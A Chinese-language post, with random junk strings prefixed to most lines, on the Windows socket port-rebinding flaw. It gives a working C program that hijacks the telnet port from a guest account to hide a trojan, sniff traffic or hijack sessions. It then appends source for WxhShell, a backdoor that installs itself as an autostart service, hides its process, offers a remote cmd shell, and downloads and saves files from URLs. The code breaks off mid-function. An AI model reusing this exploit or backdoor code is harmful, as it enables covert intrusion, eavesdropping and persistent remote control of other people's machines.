在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
1zCgPiAem s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
u6:$AA +1\t0P24 saddr.sin_family = AF_INET;
G_WHW(8 W@%g_V}C* saddr.sin_addr.s_addr = htonl(INADDR_ANY);
o3NB3@uj< `=Bv+ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
mtw{7E IJ:JH=8 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
V@EyU/VJ -zzT:C 这意味着什么?意味着可以进行如下的攻击:
2E!Q5 l!j nQg_1+ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
LY#V)f _?K,Jc8j. 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
H:WuMw D4 {h.j6 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
dYlVJ_0Zr <^942y-= 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
9T1-{s
R 3;!!`R>e 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
#/_ VY. pwB>$7(_h 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
r]aI=w<(f g&8-X?^Q 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
tbfwgK 6uk}4bdvq #include
t\v~ A0 #include
[l7n"gJ~ #include
+Z=y/wY #include
jz>b>; DWORD WINAPI ClientThread(LPVOID lpParam);
vfc,{F=Q int main()
+=nWB=iCb {
`7?EE1o
WORD wVersionRequested;
S/l6c P DWORD ret;
#>sIXY WSADATA wsaData;
g;7u-nP BOOL val;
tDMNpl SOCKADDR_IN saddr;
)M"xCO3a SOCKADDR_IN scaddr;
ov
>5+"q) int err;
K(P.i^k SOCKET s;
w02C1oGfx SOCKET sc;
^oClf( int caddsize;
@Q&k6.{4Z HANDLE mt;
Wdga(8t DWORD tid;
b d C wVersionRequested = MAKEWORD( 2, 2 );
8,e%=7h_e err = WSAStartup( wVersionRequested, &wsaData );
e+<9Sh7& if ( err != 0 ) {
5ci1ce printf("error!WSAStartup failed!\n");
s3K!~v\L] return -1;
'tjqfR }
8kE3\#);\ saddr.sin_family = AF_INET;
l?Ibq} [~ aB`jFp- //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
,pVe@ d' PY&mLux% saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
i|28:FJA saddr.sin_port = htons(23);
fP$rOJ)P if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
"g!ek3w( {
H6/gRv@ printf("error!socket failed!\n");
FC]n?1?<( return -1;
8==_43 }
Ue"pNjd| val = TRUE;
YgjN*8w\ //SO_REUSEADDR选项就是可以实现端口重绑定的
X!@ Y, if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
"M^mJl&*b {
MN:LL
< printf("error!setsockopt failed!\n");
E Q:6R|L return -1;
'q@vTM'- }
rD9:4W`^ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
aY6F4,7/B //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
%7?Z|'\ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
n8`WU3& D#^euNiWd if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
e_cK#9+ {
BKgCuz:y ret=GetLastError();
&)_
z! printf("error!bind failed!\n");
I8YCXh return -1;
3UUN@Tx }
>gz8,& listen(s,2);
[X>f;;h while(1)
uH[:R vC0 {
xLgZtLt9 caddsize = sizeof(scaddr);
J@#rOOu //接受连接请求
$\M];S=CY sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
}02(Y!Gh if(sc!=INVALID_SOCKET)
Hxleh><c- {
?I\,RiZkz^ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
%36@1l-N if(mt==NULL)
Qd>\{$N {
/!`xqG# printf("Thread Creat Failed!\n");
JY~CMR5#.O break;
u1\r:q }
*M$'dLn }
wxT(ktE CloseHandle(mt);
QV4FA&f& }
;82?ACCP closesocket(s);
0sB[]E|7[s WSACleanup();
QGE0pWL-a return 0;
8# x7q>? }
Iyb_5 UmpF DWORD WINAPI ClientThread(LPVOID lpParam)
Sl@Ucc31 {
O=^/58(m SOCKET ss = (SOCKET)lpParam;
)lq+Gv[%F SOCKET sc;
q1m{G1W
n unsigned char buf[4096];
"b%FkD SOCKADDR_IN saddr;
kv;P2:"| long num;
Z#YNL-x DWORD val;
RdNLf DWORD ret;
| IS$Om //如果是隐藏端口应用的话,可以在此处加一些判断
(%"9LYv //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
IFhS(3YK[ saddr.sin_family = AF_INET;
M+:9U&>
saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
)ybF@emc saddr.sin_port = htons(23);
2.
v<pqn if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
>`0mn|+ {
HV*;Yt printf("error!socket failed!\n");
8pZ Ogh
return -1;
bR8`Y(=F9b }
*%E\mu,,c val = 100;
c]/S<w< if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
xErb11 {
R'" c ret = GetLastError();
(L(n% return -1;
'g3T'2"`5 }
+(^HL3 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
8IE^u<H(: {
%Y>E ret = GetLastError();
E>`|?DE@ return -1;
$g/h=w@ }
?nWzJ5w3 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
yrd1J$ {
vTTXeS-b printf("error!socket connect failed!\n");
<XN=v!2; closesocket(sc);
NCl@C$W9q closesocket(ss);
n7yp6Db return -1;
-:OJX #j }
FZLx.3k4 while(1)
Yy6$q\@rV {
?Ygd|a5 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
M>}_2G]#F //如果是嗅探内容的话,可以再此处进行内容分析和记录
Qkhor-f0 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
$48Z>ij?f num = recv(ss,buf,4096,0);
1aCpeD4|) if(num>0)
q'TIN{\.{ send(sc,buf,num,0);
<Y2$'ETD else if(num==0)
D2=zrU3Y64 break;
0G0(g,3p num = recv(sc,buf,4096,0);
Hmnxmgx if(num>0)
z,4 D'F& send(ss,buf,num,0);
.J O1kt else if(num==0)
\ Ce*5h break;
)ax>* }
wm_rU] closesocket(ss);
[m%]C closesocket(sc);
y*6/VSRkt4 return 0 ;
iRbe$v&N }
9%1J..c P,9Pn)M| x":o*(rSQ ==========================================================
"Mhn?PTq T[#q0bv 下边附上一个代码,,WXhSHELL
y%spI/( n?;rWq" ==========================================================
xu%eg] K[LuvS #include "stdafx.h"
)nFyHAy- ~_c1h@ #include <stdio.h>
n.z,-H17 #include <string.h>
'+27_j #include <windows.h>
${eV3LSC #include <winsock2.h>
R=F_U #include <winsvc.h>
0U H] #include <urlmon.h>
:2&"ak>N Z#bO}! #pragma comment (lib, "Ws2_32.lib")
D W^Zuu/) #pragma comment (lib, "urlmon.lib")
c+ByEP4EG :7mHPe}( #define MAX_USER 100 // 最大客户端连接数
-a &<Un/ #define BUF_SOCK 200 // sock buffer
4e#$-V #define KEY_BUFF 255 // 输入 buffer
w6WPfy(/2 l;L_A@B< #define REBOOT 0 // 重启
Pg{1' - #define SHUTDOWN 1 // 关机
.T3 m%n T ~(Sc'8 #define DEF_PORT 5000 // 监听端口
m}\QGtJ6 >#k-
~|w #define REG_LEN 16 // 注册表键长度
^YropzHZ4E #define SVC_LEN 80 // NT服务名长度
o?m/ h /^bRs`; // 从dll定义API
7CvBE;i typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
TEMxjowr typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
I.GoY[u_% typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
x5mg<y2`Ng typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
_B&Lyg!J !!H"B('m // wxhshell配置信息
2J8:_Ql3I struct WSCFG {
u+KZ. n/ int ws_port; // 监听端口
J9p4\=9 char ws_passstr[REG_LEN]; // 口令
q!?*M?Oz int ws_autoins; // 安装标记, 1=yes 0=no
a6^_iSk char ws_regname[REG_LEN]; // 注册表键名
"Y=`w,~~ char ws_svcname[REG_LEN]; // 服务名
T'@+MA) ~ char ws_svcdisp[SVC_LEN]; // 服务显示名
>m.. char ws_svcdesc[SVC_LEN]; // 服务描述信息
qc5[e char ws_passmsg[SVC_LEN]; // 密码输入提示信息
#j=yQrJ int ws_downexe; // 下载执行标记, 1=yes 0=no
$|.8@
nj char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
^B%=P char ws_filenam[SVC_LEN]; // 下载后保存的文件名
l-l7jq]R V3cKbk7~ };
x|(pmqIH+ \ "$$c // default Wxhshell configuration
OTdijQLY struct WSCFG wscfg={DEF_PORT,
AyOibnoZ2E "xuhuanlingzhe",
rxH]'6kP 1,
y,3ZdY" "Wxhshell",
IhYR4?e "Wxhshell",
``Q6R2[|) "WxhShell Service",
;'= cNj "Wrsky Windows CmdShell Service",
c$%*p
(zY "Please Input Your Password: ",
nGkSS_X 1,
W>)0=8#\ "
http://www.wrsky.com/wxhshell.exe",
mpMAhm: "Wxhshell.exe"
%kjG[C };
X3X_=qzc ]p3f54! // 消息定义模块
ow.!4kx{ d char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
wz*iwd- char *msg_ws_prompt="\n\r? for help\n\r#>";
RbXR/Rd char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
O6R)>Y4 char *msg_ws_ext="\n\rExit.";
ElV!C}g char *msg_ws_end="\n\rQuit.";
5;U Iz@BJ char *msg_ws_boot="\n\rReboot...";
"8{A4N1B5 char *msg_ws_poff="\n\rShutdown...";
}:
HG)V char *msg_ws_down="\n\rSave to ";
n]ba1t8ZA '=n?^EPE3 char *msg_ws_err="\n\rErr!";
4^F%bXJ) char *msg_ws_ok="\n\rOK!";
N}K
[Q= ]f0'YLG char ExeFile[MAX_PATH];
.Dr!\.hL int nUser = 0;
_y_}/ HANDLE handles[MAX_USER];
{YzCgf int OsIsNt;
czuIs|_K* [eDrjf3m SERVICE_STATUS serviceStatus;
MMs~f* SERVICE_STATUS_HANDLE hServiceStatusHandle;
/[.V( K
D -HG.GA // 函数声明
:~vodh int Install(void);
At4\D+J{Vs int Uninstall(void);
|JxVfX8^ int DownloadFile(char *sURL, SOCKET wsh);
9Yv:6@. F int Boot(int flag);
VP~2F
E void HideProc(void);
O
{1" I int GetOsVer(void);
iM)K:L7d int Wxhshell(SOCKET wsl);
:_~.Nt void TalkWithClient(void *cs);
3k`Q]O=OU int CmdShell(SOCKET sock);
LV^^Bd8Ct int StartFromService(void);
v$|~
g'6 int StartWxhshell(LPSTR lpCmdLine);
&aLTy&8Fv
D}98ZKi VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
, ~O>8VbF VOID WINAPI NTServiceHandler( DWORD fdwControl );
IMH4GVr" &>,;ye>A // 数据结构和表定义
ctZ,qg*N SERVICE_TABLE_ENTRY DispatchTable[] =
,,gMUpL7_8 {
}kqh[`: {wscfg.ws_svcname, NTServiceMain},
3ic /xy;} {NULL, NULL}
*9^8NY] };
ahg:mlaob 6]?mjG6 // 自我安装
3' i6<
int Install(void)
P1Hab2%+ {
wtY)(ka char svExeFile[MAX_PATH];
*c$[U{Px HKEY key;
EfrQ~`\ strcpy(svExeFile,ExeFile);
I'4(Ibl+ ayy\7b // 如果是win9x系统,修改注册表设为自启动
?e$&=FC0; if(!OsIsNt) {
Q[biy{(b8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
L0fe RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
rx1u*L RegCloseKey(key);
9&n9J^3L if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
ub-3/T RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
[a2]_]E% RegCloseKey(key);
b>;?{ return 0;
Rql/@j`JX }
mgAjD. }
yYA*5
7^A }
u2 s else {
,t9EL 21 yV(#z2| // 如果是NT以上系统,安装为系统服务
79v +ze SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
gwoe1:F:J if (schSCManager!=0)
*#T:
_ {
S hI1f SC_HANDLE schService = CreateService
HAxLYun(3w (
J\L'HIs schSCManager,
Vp/XVyL}R wscfg.ws_svcname,
i%K6<1R;y{ wscfg.ws_svcdisp,
MXaFqK<Y SERVICE_ALL_ACCESS,
fEHFlgN3Ap SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
&B{zS K$N SERVICE_AUTO_START,
SGWb*grt SERVICE_ERROR_NORMAL,
]<;7ZNG"Y5 svExeFile,
8G:/f3B= NULL,
msBoInhI NULL,
nR{<xD^ NULL,
6e-ME3!<l NULL,
L 4j#0I]lq NULL
*7xcwjeP );
dy&G~F28 if (schService!=0)
XV]N}~h o` {
sgfqIe1 CloseServiceHandle(schService);
%R0 Wq4} CloseServiceHandle(schSCManager);
&=g3J4$z strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
:#YC_
id strcat(svExeFile,wscfg.ws_svcname);
0=$/ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
q<&1,^A RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
.4zzPD$1 RegCloseKey(key);
Ei!Z]jeK return 0;
k&$ov }
d&+]@ Ii }
& FhJ%JK CloseServiceHandle(schSCManager);
t1w5U+z }
C+NN.5No }
MB)<@.A0 Bb/if:XS return 1;
?'> .> }
rN}pi@ &
kC // 自我卸载
//63|;EEkl int Uninstall(void)
g04^M( {
(47?lw
& HKEY key;
\CjJa(vV w}3N!jNDv if(!OsIsNt) {
EF)BezG5y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
5?0<.f, RegDeleteValue(key,wscfg.ws_regname);
R-Edht|{ RegCloseKey(key);
^~~Rto)Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
wA5Iz{uQO RegDeleteValue(key,wscfg.ws_regname);
:r
q~5hK RegCloseKey(key);
eFiG:LS7 return 0;
5iA>Z!sP[ }
50_[hC&C) }
wH~A>
4*( }
IC
cr else {
cGV%=N^BE< Y_%:%J SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
xuXPVJdi if (schSCManager!=0)
<XLae'R {
`etw[#~N SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
|vs5N2_ if (schService!=0)
clvg5{^q[ {
Ae>+Fcv if(DeleteService(schService)!=0) {
poQ_r<I CloseServiceHandle(schService);
^#R`Uptib CloseServiceHandle(schSCManager);
)g@+
MR return 0;
NY.Cr.} }
IBa0O|*6 CloseServiceHandle(schService);
>?^oxB"<Gc }
5M5Bm[X CloseServiceHandle(schSCManager);
|S8$NI2 }
wkp2A18n }
fI`Ez!w0 A%D'Z85
- return 1;
!aT:0m$:9c }
"@G[:(BoB< &~_F2]oM // 从指定url下载文件
-}6ew@GE int DownloadFile(char *sURL, SOCKET wsh)
IW\^-LI. {
KU8,8:yY HRESULT hr;
@aS)=|Ls\ char seps[]= "/";
0F)v9EK(W4 char *token;
PysDDU}v char *file;
yQhO-jT char myURL[MAX_PATH];
$ar^U char myFILE[MAX_PATH];
m,HE4`g dj0%?g> strcpy(myURL,sURL);
9`f@"%h token=strtok(myURL,seps);
$FPq8$V while(token!=NULL)
(.#nl}fA {
2^'Ec:|f file=token;
ys`-QlkB token=strtok(NULL,seps);
fG0ZVV! }
tX^6R ]aPf-O* GetCurrentDirectory(MAX_PATH,myFILE);
do8[wej<: strcat(myFILE, "\\");
/r7xA}se^ strcat(myFILE, file);
?}Zo~]7E send(wsh,myFILE,strlen(myFILE),0);
# xO PF9 send(wsh,"...",3,0);
[5&k{*}} hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
`CWhjL8^ if(hr==S_OK)
(2b${ Q@V return 0;
cW*v))@2 else
m7k }k) return 1;
dXTD8 )& )c11_1; }
daSe0:daJ %Y~"Stmx // 系统电源模块
wNmpUO ? int Boot(int flag)
]gBnzh. {
Ek<Qz5) HANDLE hToken;
v]SxZLa TOKEN_PRIVILEGES tkp;
)WoH>D ST{Vi';} if(OsIsNt) {
a_Xwi:e< OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
.=eEuH LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
dfFw6R tkp.PrivilegeCount = 1;
c'Z=uL<Rm tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
WWpMuB_G AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
%_|KiW if(flag==REBOOT) {
qt L]x - O if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
y[b8rv return 0;
Q"I(3 tp9[ }
bUcp8 else {
)%^l+w+& if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
v?."`,e return 0;
?>;b,^4 }
gGP6"|tc4 }
"6d0j)YO else {
5Y+YN1 if(flag==REBOOT) {
3(oMASf if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
AFi_P\X return 0;
J$6WU z:? }
Z]Bv else {
g|Lbe4? if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
W.^zN' a return 0;
#ZJ 1\Ov }
:6Z2@9.}w }
{@2+oOuYfN B .y}S return 1;
6:(s8e }
o9}\vN0F 9\EW~OgTu // win9x进程隐藏模块
}.o.*N void HideProc(void)
AE:(:U\ {
iZG-ca g-K;J4 K% HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
_.9 5>` if ( hKernel != NULL )
dU3A:uS^ {
T^4 dHG-( pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
;B@#,6t/ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
\:+\H0Bz FreeLibrary(hKernel);
:!_l@ =l }
n#6{K6}k~ PE5*]+lW. return;
.F,l>wUNe }
zg ,=A? &.E/%pQ` // 获取操作系统版本
AO8 #l
YP? int GetOsVer(void)
c>$d!IKCL {
?1L<VL=b OSVERSIONINFO winfo;
_GkLspSaU winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
}K?b2 6` GetVersionEx(&winfo);
;t*SG*Vi if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Gy\]j return 1;
(l%?YME else
}<~(9_+ return 0;
<%YW/k"o }
`<g]p-=": PPl o0R // 客户端句柄模块
t*= nI $ int Wxhshell(SOCKET wsl)
>c_fUX={ {
!-)!UQ~|8 SOCKET wsh;
U@q5`4-!8 struct sockaddr_in client;
I\TSVJk^Xi DWORD myID;
"m {i`<, :h(RS ; while(nUser<MAX_USER)
i[[.1MnS {
(nO2+@! int nSize=sizeof(client);
;=n}61 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
ho$}#o if(wsh==INVALID_SOCKET) return 1;
HWV A5E[`Y ogIu\kiZ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
1 ?BLL;[a8 if(handles[nUser]==0)
c1E{J<pZ closesocket(wsh);
Yeg<MrS4D else
J.R])
&CB nUser++;
6/ 5c| }
nl}LT/N WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
|yz[mP*;o :| 9vMM^$ return 0;
;"cQ)=s9Y }
@Y `Z3LiR$ p0W<K // 关闭 socket
v'
t'{g% void CloseIt(SOCKET wsh)
;.AMP$o`(Y {
8Ygf@*9L4 closesocket(wsh);
6:wk=#w nUser--;
j_5&w Znq ExitThread(0);
L*4"D4V }
K&&T:'=/ 3ibQbk // 客户端请求句柄
{X<g93 void TalkWithClient(void *cs)
j5D Cc,s {
C7F\Y1Wj [;Ih I SOCKET wsh=(SOCKET)cs;
T;3qE1c char pwd[SVC_LEN];
FS5iUH+5 char cmd[KEY_BUFF];
=~J VU char chr[1];
"8%$,rG1& int i,j;
wlP3 XF? $VQ;y|K+[ while (nUser < MAX_USER) {
DTH}=r- LpY{<:y if(wscfg.ws_passstr) {
^~N:lW#= if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
K !ILO //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
3Qd/X&P //ZeroMemory(pwd,KEY_BUFF);
TO]7cC i=0;
}J6:D]Q while(i<SVC_LEN) {
^;ZpK@Luk 4`"}0:t. // 设置超时
9<0yz?b': fd_set FdRead;
8H-yT1
struct timeval TimeOut;
c
$r"q :\ FD_ZERO(&FdRead);
E[#VWM
I FD_SET(wsh,&FdRead);
S rH::-{ TimeOut.tv_sec=8;
OD7^*j(p` TimeOut.tv_usec=0;
I'BHNZO5tf int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
TrzAgNt if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Io*H}$Gf /ojx$Um if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
qCI7)L` pwd
=chr[0]; \]4EAKJE
if(chr[0]==0xd || chr[0]==0xa) { qpFxl
pwd=0; =8#.=J[/
break; ,mx\
-lWFy
} |pS]zD
i++; aV7VbC
} 9[JUJ,#X'0
JwxKWVpWv
// 如果是非法用户,关闭 socket kJl^,q
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]VQd*~ -
} iS)-25M'
s<"|'~<n
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i`e[Vwe2x@
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kh#QT_y
iJE:>qOTD5
while(1) { {
i6L/U.
uvJHkAi
ZeroMemory(cmd,KEY_BUFF); tz2=l.1
7omHorU+
// 自动支持客户端 telnet标准 ),vDn}>
j=0; 5,p;b
while(j<KEY_BUFF) { EPn!6W5^
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5-GS@fY
cmd[j]=chr[0]; "`cN k26JZ
if(chr[0]==0xa || chr[0]==0xd) { f8[O]MrO;
cmd[j]=0; vu@.;-2E%
break; 'fl.&"/r
} {H(l"KuL
j++; Pb;c:HeI/
} 7'esJ)2
E,tdn#_|
// 下载文件 `B"sy8}x
if(strstr(cmd,"http://")) { "~r)_Ko
send(wsh,msg_ws_down,strlen(msg_ws_down),0); , d $"`W2
if(DownloadFile(cmd,wsh)) $.C-_L
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >U`G3(#7S
else >v, si].
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pl3ap(/
} Lu6g`O:['
else { ?e6>dNw
O6/ vFEB
switch(cmd[0]) { q\?p' i
~IW{^u
// 帮助 Z" ;q w
case '?': { G3:!]}
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); OFtf)cGE
break; 8Yk*$RR9
} U!-Nx9
// 安装 E \DA3lq
case 'i': { d/yF}%0QI
if(Install()) NjZ~b/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^wWbW&<Tg
else 9MfU{4:;I
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yIn$ApSGY
break; ?-:2f#bC
} 11"r FZ
// 卸载 W9w*=W
)Z
case 'r': { @I-gs(
if(Uninstall()) P~{8L.w!>W
send(wsh,msg_ws_err,strlen(msg_ws_err),0); sw}O g`U
else 6Ot~Q
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WN=0s
break; 0D 2I)E72o
} Dh8'og)7
// 显示 wxhshell 所在路径 siI%6Gn;
case 'p': { p,8~)ic_
char svExeFile[MAX_PATH]; >nSt<e
strcpy(svExeFile,"\n\r"); +Mijio
strcat(svExeFile,ExeFile); ou-UR5
send(wsh,svExeFile,strlen(svExeFile),0); I[k"I(
break; :!g|pd[{ag
} v
=y
2
// 重启 R`c[?U
case 'b': { DNq(\@x[!
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s*la`(x
if(Boot(REBOOT)) l[:Aq&[o3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $4xSI"+M%
else { WqF,\y%W*
closesocket(wsh); {,sqUq (
ExitThread(0); AcuF0KWw/
} tjFX(;^[
break; B
}%2FUv
} ~C%I'z'
// 关机 nI]EfHU
case 'd': { :1UMA@HP
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8lpAe0p(Z
if(Boot(SHUTDOWN)) ;_"|#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ? nW>'z
else { T#-;>@a}
closesocket(wsh); j~{cT/5Y_
ExitThread(0); h97#(_wV>
} 6qZ\^ U
break; p}JOiiHa
} I<940PZ
// 获取shell Tp;W4]'a*:
case 's': { 4{kH;~
z$
CmdShell(wsh); At:8+S<?A
closesocket(wsh); ?'P}ZC8P
ExitThread(0); <r:AJ;
break; B%;MGb o
} ?yS1|CF%&y
// 退出 Zw9;g+9
case 'x': { =|P
&G~]
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [o#% Eg;
CloseIt(wsh); @5nFa~*K%
break; @/<UhnI
} *
HKu%g
// 离开 %nY\"
case 'q': { W#<1504ip
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7m-%
closesocket(wsh); _aPAn|.
WSACleanup(); =lJ
?yuc
exit(1); /jGBQ-X
break; @M"gEeI9
} )k,n}
} DSz[,AaR]
} 7tcadXk0
5&n{QE?Um
// 提示信息 OtqFI!ns
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {3`385
} ;_(f(8BO
} +>q#eUS)
:_R:>n9 p
return; JaY"Wfc
} geR+v+B,
Y}c/wF7o
// shell模块句柄 Zigv;}#
int CmdShell(SOCKET sock) [HQ)4xG
{ *z0d~j*W;
STARTUPINFO si; v3-'
GgM
ZeroMemory(&si,sizeof(si)); E7A!,A&>
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m]2xOR_
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {=[>N>"
PROCESS_INFORMATION ProcessInfo; 3^y(@XFt
char cmdline[]="cmd"; z lr!
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k3#'g'>yh
return 0; 0ae8Xm3J@R
} Q>%n&;:
p +i1sY
// 自身启动模式 W91yj:
int StartFromService(void) 5X!-Hj
{ kMQ
/9~
typedef struct yc](
{ 5YD~l(,S1]
DWORD ExitStatus; +Dy^4p?o
